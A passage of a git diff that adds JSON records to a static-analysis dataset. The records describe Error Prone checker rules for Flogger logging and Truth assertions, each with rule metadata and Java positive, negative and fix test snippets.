+ "description": "casts", + "expected-problems": null, + "expected-linenumbers": [ + 681 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void f(int a, long b, long c) {\n assertThat((long) a).isAnyOf(b, c);\n }\n }" + }, + { + "description": "multiset_hasCount_match", + "expected-problems": null, + "expected-linenumbers": [ + 698 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.Multiset;\n\n public class Test {\n public void f(Multiset a, String b) {\n assertThat(a).hasCount(b, 1);\n }\n }" + }, + { + "description": "multiset_hasCount_mismatch", + "expected-problems": null, + "expected-linenumbers": [ + 716 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.Multiset;\n\n public class Test {\n public void f(Multiset a, Long b) {\n // BUG: Diagnostic contains:\n assertThat(a).hasCount(b, 1);\n }\n }" + }, + { + "description": "protoTruthIterableSubjectExhaustiveness", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "" + }, + { + "description": "protoTruthIterableSubjectExhaustiveness", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "" + }, + { + "description": "protoTruthIterableSubjectExhaustiveness", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "" + }, + { + "description": "protoTruthIterableSubjectExhaustiveness", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "" + }, + { + "description": "protoTruthIterableSubjectExhaustiveness", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "" + }, + { + "description": "protoTruthIterableSubjectExhaustiveness", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "" + }, + { + "description": "protoTruthIterableSubjectExhaustiveness", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerArgumentToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerArgumentToString.json new file mode 100644 index 0000000..2592b65 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerArgumentToString.json @@ -0,0 +1,46 @@ +{ + "name": "FloggerArgumentToString", + "language": "java", + "description": "Use Flogger's printf-style formatting instead of explicitly converting arguments to strings. Note that Flogger does more than just call toString; for instance, it formats arrays sensibly.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 354, + "branches": 30, + "apis": 23, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "import com.google.common.base.Ascii;\n import com.google.common.flogger.FluentLogger;\n import java.util.Arrays;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(String world, Object[] xs, long l) {\n logger.atInfo().log(\"hello '%s'\", world.toString());\n logger.atInfo().log(\"hello %s %d\", world.toString(), 2);\n logger.atInfo().log(\"hello %s\", world.toUpperCase());\n logger.atInfo().log(\"hello %s\", Ascii.toUpperCase(world));\n logger.atInfo().log(\"hello %s\", Integer.toString(42));\n logger.atInfo().log(\"hello %d\", Integer.valueOf(42));\n logger.atInfo().log(\"hello %s\", Integer.toHexString(42));\n logger.atInfo().log(\"hello %S\", Integer.toHexString(42));\n logger.atInfo().log(\"hello %s\", Arrays.asList(1, 2));\n logger.atInfo().log(\"hello %s\", Arrays.asList(xs));\n logger.atInfo().log(\"hello %s\", Arrays.toString(xs));\n logger.atInfo().log(\"hello %s\", Long.toHexString(l));\n logger.atInfo().log(\"%%s\", Ascii.toUpperCase(world));\n }\n }\n \n\n import com.google.common.base.Ascii;\n import com.google.common.flogger.FluentLogger;\n import java.util.Arrays;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(String world, Object[] xs, long l) {\n logger.atInfo().log(\"hello '%s'\", world);\n logger.atInfo().log(\"hello %s %d\", world, 2);\n logger.atInfo().log(\"hello %S\", world);\n logger.atInfo().log(\"hello %S\", world);\n logger.atInfo().log(\"hello %d\", 42);\n logger.atInfo().log(\"hello %d\", 42);\n logger.atInfo().log(\"hello %x\", 42);\n logger.atInfo().log(\"hello %X\", 42);\n logger.atInfo().log(\"hello %s\", Arrays.asList(1, 2));\n logger.atInfo().log(\"hello %s\", xs);\n logger.atInfo().log(\"hello %s\", xs);\n logger.atInfo().log(\"hello %x\", l);\n logger.atInfo().log(\"%%s\", Ascii.toUpperCase(world));\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(String world) {\n logger.atInfo().log(\"hello '%s'\", world);\n }\n }" + }, + { + "description": "selfToString", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f() {\n logger.atInfo().log(\"hello '%s'\", toString());\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f() {\n logger.atInfo().log(\"hello '%s'\", this);\n }\n }" + }, + { + "description": "lenientFormat_explicitToStringNotNeeded", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "import static com.google.common.base.Preconditions.checkArgument;\n\n class Test {\n void test(Object x, long l) {\n // BUG: Diagnostic contains:\n checkArgument(1 == 1, \"%s\", x.toString());\n // BUG: Diagnostic contains:\n checkArgument(1 == 1, \"%s\", Long.toString(l));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerFormatString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerFormatString.json new file mode 100644 index 0000000..7043ebc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerFormatString.json @@ -0,0 +1,62 @@ +{ + "name": "FloggerFormatString", + "language": "java", + "description": "Invalid printf-style format string", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 110, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(Exception e, Throwable t) {\n // BUG: Diagnostic contains: 'java.lang.String' cannot be formatted using '%d'\n logger.atInfo().log(\"hello %d\", \"world\");\n }\n }" + }, + { + "description": "positiveWithCause", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(Exception e, Throwable t) {\n // BUG: Diagnostic contains: logger.atInfo().withCause(e).log(\"hello\");\n logger.atInfo().log(\"hello\", e);\n // BUG: Diagnostic contains: logger.atInfo().withCause(t).log(\"hello %s\", e);\n logger.atInfo().log(\"hello %s\", e, t);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(Exception e, Throwable t, String s) {\n logger.atInfo().withCause(e).log(\"hello %s\", e);\n }\n }" + }, + { + "description": "lazyArg", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import static com.google.common.flogger.LazyArgs.lazy;\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(String s, Integer i) {\n // BUG: Diagnostic contains: 'java.lang.String'\n logger.atInfo().log(\"hello %d\", lazy(() -> s));\n logger.atInfo().log(\"hello %d\", lazy(() -> i));\n }\n }" + }, + { + "description": "varargs", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f(Object... xs) {\n // BUG: Diagnostic contains:\n logger.atInfo().log(\"hello %s %s\", xs);\n }\n }" + }, + { + "description": "negativeLogString", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "package test;\n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void f() {\n logger.atSevere().log(\"hello %s\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogString.json new file mode 100644 index 0000000..1a5d1d5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogString.json @@ -0,0 +1,30 @@ +{ + "name": "FloggerLogString", + "language": "java", + "description": "Arguments to log(String) must be compile-time constants or parameters annotated with @CompileTimeConstant. If possible, use Flogger's formatting log methods instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import com.google.common.flogger.FluentLogger;\n import com.google.errorprone.annotations.CompileTimeConstant;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String CONSTANT = \"CONSTANT\";\n\n public void f(@CompileTimeConstant String s) {\n final String localFinal = \"localFinal\";\n logger.atInfo().log(\"hello\");\n logger.atInfo().log(s);\n logger.atInfo().log(CONSTANT);\n logger.atInfo().log(localFinal);\n logger.atInfo().log(\"hello \" + s);\n logger.atInfo().log(\"hello \" + CONSTANT);\n logger.atInfo().log(\"hello \" + localFinal);\n logger.atInfo().log(\"hello \" + s + CONSTANT);\n logger.atInfo().log(\"hello \" + s + localFinal);\n logger.atInfo().log(\"hello \" + localFinal + CONSTANT);\n logger.atInfo().log(\"hello \" + s + localFinal + CONSTANT);\n logger.atInfo().log(s + localFinal);\n logger.atInfo().log(s + CONSTANT);\n logger.atInfo().log(CONSTANT + localFinal);\n logger.atInfo().log(s + localFinal + CONSTANT);\n logger.atInfo().log((String) null);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogVarargs.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogVarargs.json new file mode 100644 index 0000000..4b32c39 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogVarargs.json @@ -0,0 +1,38 @@ +{ + "name": "FloggerLogVarargs", + "language": "java", + "description": "logVarargs should be used to pass through format strings and arguments.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n void log(String s, Object... a) {\n logger.atInfo().log(s, a);\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n void log(String s, Object... a) {\n logger.atInfo().logVarargs(s, a);\n }\n }" + }, + { + "description": "positiveAnonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import com.google.common.flogger.FluentLogger;\n import java.util.function.Predicate;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n Predicate log(String s, Object... a) {\n return new Predicate() {\n @Override\n public boolean test(Void unused) {\n logger.atInfo().log(s, a);\n return true;\n }\n };\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n import java.util.function.Predicate;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n Predicate log(String s, Object... a) {\n return new Predicate() {\n @Override\n public boolean test(Void unused) {\n logger.atInfo().logVarargs(s, a);\n return true;\n }\n };\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n void log(String s, Object a) {\n logger.atInfo().log(s, a);\n }\n\n void bar() {\n logger.atInfo().log(\"foo\", new Object[] {1});\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogWithCause.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogWithCause.json new file mode 100644 index 0000000..648f6b7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerLogWithCause.json @@ -0,0 +1,54 @@ +{ + "name": "FloggerLogWithCause", + "language": "java", + "description": "Setting the caught exception as the cause of the log message may provide more context for anyone debugging errors.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void test() {\n try {\n } catch (Exception e) {\n // BUG: Diagnostic contains: logger.atWarning().withCause(e).log\n logger.atWarning().log(\"failed\");\n }\n }\n }" + }, + { + "description": "loggedAtInfo_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void test() {\n try {\n } catch (Exception e) {\n logger.atInfo().log(\"failed\");\n }\n }\n }" + }, + { + "description": "alreadyLoggedWithCause", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void test() {\n try {\n } catch (Exception e) {\n logger.atWarning().withCause(e).log(\"failed\");\n }\n }\n }" + }, + { + "description": "variableUsedInOtherWay", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void test() {\n try {\n } catch (Exception e) {\n logger.atWarning().log(e.getMessage());\n }\n }\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void test() {\n try {\n } catch (\n @SuppressWarnings(\"FloggerLogWithCause\")\n Exception e) {\n logger.atWarning().log(e.getMessage());\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerMessageFormat.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerMessageFormat.json new file mode 100644 index 0000000..1d50002 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerMessageFormat.json @@ -0,0 +1,38 @@ +{ + "name": "FloggerMessageFormat", + "language": "java", + "description": "Invalid message format-style format specifier ({0}), expected printf-style (%s)", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String FORMAT_STRING = \"hello {0}\";\n\n public void method(Exception e) {\n // BUG: Diagnostic contains:\n logger.atInfo().log(\"hello {0}\");\n // BUG: Diagnostic contains:\n logger.atInfo().log(\"hello {0}\", \"world\");\n // BUG: Diagnostic contains:\n logger.atInfo().log(\"\" + \"hello {0}\", \"world\");\n // BUG: Diagnostic contains:\n logger.atInfo().log(FORMAT_STRING, \"world\");\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String FORMAT_STRING = \"hello {0}\";\n\n public void method(Exception e) {\n logger.atInfo().log(\"hello %s\", \"world\");\n logger.atInfo().log();\n }\n }" + }, + { + "description": "fix", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String FORMAT_STRING = \"hello {0}\";\n\n public void method(Exception e) {\n logger.atInfo().log(\"hello {0}\", \"world\");\n logger.atInfo().log(\"\" + \"hello {0}\", \"world\");\n logger.atInfo().log(FORMAT_STRING, \"world\");\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n private static final String FORMAT_STRING = \"hello {0}\";\n\n public void method(Exception e) {\n logger.atInfo().log(\"hello %s\", \"world\");\n logger.atInfo().log(\"\" + \"hello %s\", \"world\");\n logger.atInfo().log(FORMAT_STRING, \"world\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRedundantIsEnabled.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRedundantIsEnabled.json new file mode 100644 index 0000000..9dd133f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRedundantIsEnabled.json @@ -0,0 +1,38 @@ +{ + "name": "FloggerRedundantIsEnabled", + "language": "java", + "description": "Logger level check is already implied in the log() call. An explicit atLEVEL().isEnabled() check is redundant.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 191, + "branches": 18, + "apis": 3, + "test": [ + { + "description": "doPositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package com.google.errorprone.bugpatterns.flogger.testdata;\n\n import com.google.common.flogger.FluentLogger;\n\n /** Created by mariasam on 7/17/17. */\n class FloggerRedundantIsEnabledPositiveCases {\n\n public void basicCase(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void nestedIf(FluentLogger logger) {\n if (7 == 7) {\n // BUG: Diagnostic contains: redundant\n if (logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n }\n\n public void checkBinaryInIf(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (7 == 7 && logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void checkBinaryOtherWay(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atInfo().isEnabled() && 7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void complexBinary(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void negated(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (!logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void binaryNegated(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (!logger.atInfo().isEnabled() && 7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void checkConfig(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atConfig().isEnabled()) {\n logger.atConfig().log(\"test\");\n }\n }\n\n public void checkFine(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atFine().isEnabled()) {\n logger.atFine().log(\"test\");\n }\n }\n\n public void checkFiner(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atFiner().isEnabled()) {\n logger.atFiner().log(\"test\");\n }\n }\n\n public void checkFinest(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atFinest().isEnabled()) {\n logger.atFinest().log(\"test\");\n }\n }\n\n public void checkWarning(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atWarning().isEnabled()) {\n logger.atWarning().log(\"test\");\n }\n }\n\n public void checkSevere(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atSevere().isEnabled()) {\n logger.atSevere().log(\"test\");\n }\n }\n }\\" + }, + { + "description": "doNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "package com.google.errorprone.bugpatterns.flogger.testdata;\n\nimport com.google.common.flogger.FluentLogger;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @author mariasam@google.com (Maria Sam)\n */\npublic class FloggerRedundantIsEnabledNegativeCases {\n\n public void basicCase(FluentLogger logger) {\n logger.atInfo().log(\"test\");\n }\n\n public void sameLoggerIf(FluentLogger logger, FluentLogger logger2) {\n if (logger.equals(logger2)) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void relatedIf(FluentLogger logger, FluentLogger logger2) {\n if (logger.atInfo().isEnabled()) {\n logger2.atInfo().log(\"test\");\n }\n }\n\n public void doesWork(FluentLogger logger, Map> map) {\n if (logger.atFine().isEnabled()) {\n for (Map.Entry> toLog : map.entrySet()) {\n logger.atFine().log(\"%s%s\", toLog.getKey(), Arrays.toString(toLog.getValue().toArray()));\n }\n }\n }\n\n public void differentLevels(FluentLogger logger) {\n if (logger.atFine().isEnabled()) {\n logger.atInfo().log(\"This is weird but not necessarily wrong\");\n }\n }\n\n public void checkAtInfo(TestLogger notALogger, FluentLogger logger2) {\n if (notALogger.atInfo().isEnabled()) {\n logger2.atInfo().log(\"test\");\n }\n }\n\n public void checkAtInfo(TestLogger notALogger) {\n if (notALogger.atInfo() == null) {\n notALogger.atInfo();\n }\n }\n\n public void checkMethods(FluentLogger logger) {\n if (logger.atInfo().isEnabled()) {\n atInfo();\n isEnabled();\n }\n }\n\n public void multipleLines(FluentLogger logger) {\n if (logger.atInfo().isEnabled()) {\n int foo = 10;\n logger.atInfo().log(\"test\");\n }\n }\n\n public boolean atInfo() {\n return true;\n }\n\n public boolean isEnabled() {\n return true;\n }\n\n private class TestLogger {\n public TestLogger atInfo() {\n return null;\n }\n\n public boolean isEnabled() {\n return true;\n }\n }\n}\\" + }, + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 241 + ], + "code": "package com.google.errorprone.bugpatterns.flogger.testdata;\n\n import com.google.common.flogger.FluentLogger;\n\n /** Created by mariasam on 7/17/17. */\n class FloggerRedundantIsEnabledPositiveCases {\n\n public void basicCase(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void nestedIf(FluentLogger logger) {\n if (7 == 7) {\n // BUG: Diagnostic contains: redundant\n if (logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n }\n\n public void checkBinaryInIf(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (7 == 7 && logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void checkBinaryOtherWay(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atInfo().isEnabled() && 7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void complexBinary(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void negated(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (!logger.atInfo().isEnabled()) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void binaryNegated(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (!logger.atInfo().isEnabled() && 7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void checkConfig(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atConfig().isEnabled()) {\n logger.atConfig().log(\"test\");\n }\n }\n\n public void checkFine(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atFine().isEnabled()) {\n logger.atFine().log(\"test\");\n }\n }\n\n public void checkFiner(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atFiner().isEnabled()) {\n logger.atFiner().log(\"test\");\n }\n }\n\n public void checkFinest(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atFinest().isEnabled()) {\n logger.atFinest().log(\"test\");\n }\n }\n\n public void checkWarning(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atWarning().isEnabled()) {\n logger.atWarning().log(\"test\");\n }\n }\n\n public void checkSevere(FluentLogger logger) {\n // BUG: Diagnostic contains: redundant\n if (logger.atSevere().isEnabled()) {\n logger.atSevere().log(\"test\");\n }\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.flogger.testdata;\n\n import com.google.common.flogger.FluentLogger;\n\n /**\n * @author mariasam@google.com (Maria Sam)\n */\n class FloggerRedundantIsEnabledPositiveCases {\n\n public void basicCase(FluentLogger logger) {\n logger.atInfo().log(\"test\");\n }\n\n public void nestedIf(FluentLogger logger) {\n if (7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void checkBinaryInIf(FluentLogger logger) {\n if (7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void checkBinaryOtherWay(FluentLogger logger) {\n if (7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void complexBinary(FluentLogger logger) {\n if (7 == 7 && (logger != null)) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void negated(FluentLogger logger) {\n logger.atInfo().log(\"test\");\n }\n\n public void binaryNegated(FluentLogger logger) {\n if (7 == 7) {\n logger.atInfo().log(\"test\");\n }\n }\n\n public void checkConfig(FluentLogger logger) {\n logger.atConfig().log(\"test\");\n }\n\n public void checkFine(FluentLogger logger) {\n logger.atFine().log(\"test\");\n }\n\n public void checkFiner(FluentLogger logger) {\n logger.atFiner().log(\"test\");\n }\n\n public void checkFinest(FluentLogger logger) {\n logger.atFinest().log(\"test\");\n }\n\n public void checkWarning(FluentLogger logger) {\n logger.atWarning().log(\"test\");\n }\n\n public void checkSevere(FluentLogger logger) {\n logger.atSevere().log(\"test\");\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRequiredModifiers.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRequiredModifiers.json new file mode 100644 index 0000000..e003700 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/flogger/FloggerRequiredModifiers.json @@ -0,0 +1,134 @@ +{ + "name": "FloggerRequiredModifiers", + "language": "java", + "description": "FluentLogger.forEnclosingClass should always be saved to a private static final field.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 413, + "branches": 55, + "apis": 7, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Holder {\n public FluentLogger logger;\n\n public FluentLogger get() {\n return logger;\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n public void log(FluentLogger l) {\n l.atInfo().log(\"bland\");\n }\n\n public void delegate(Holder h) {\n h.logger.atInfo().log(\"held\");\n }\n\n public void read(Holder h) {\n h.get().atInfo().log(\"got\");\n }\n }" + }, + { + "description": "positive_addsStatic", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n final FluentLogger logger = FluentLogger.forEnclosingClass();\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n }" + }, + { + "description": "positive_extractsExpression", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n void doIt() {\n FluentLogger.forEnclosingClass().atInfo().log();\n }\n }\n \n\n import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger = FluentLogger.forEnclosingClass();\n\n void doIt() {\n logger.atInfo().log();\n }\n }" + }, + { + "description": "negative_doesntCreateSelfAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static final FluentLogger logger;\n\n static {\n logger = register(FluentLogger.forEnclosingClass());\n }\n\n private static T register(T t) {\n return t;\n }\n }" + }, + { + "description": "negative_doesntIndirectWrappers", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "import com.google.common.flogger.FluentLogger;\n\n class Test {\n private static FluentLogger logger = register(FluentLogger.forEnclosingClass());\n\n private static T register(T t) {\n return t;\n }\n }\n \n\nimport com.google.common.flogger.FluentLogger;\n\nclass Test {\n private static final FluentLogger logger = register(FluentLogger.forEnclosingClass());\n\n private static T register(T t) {\n return t;\n }\n}" + }, + { 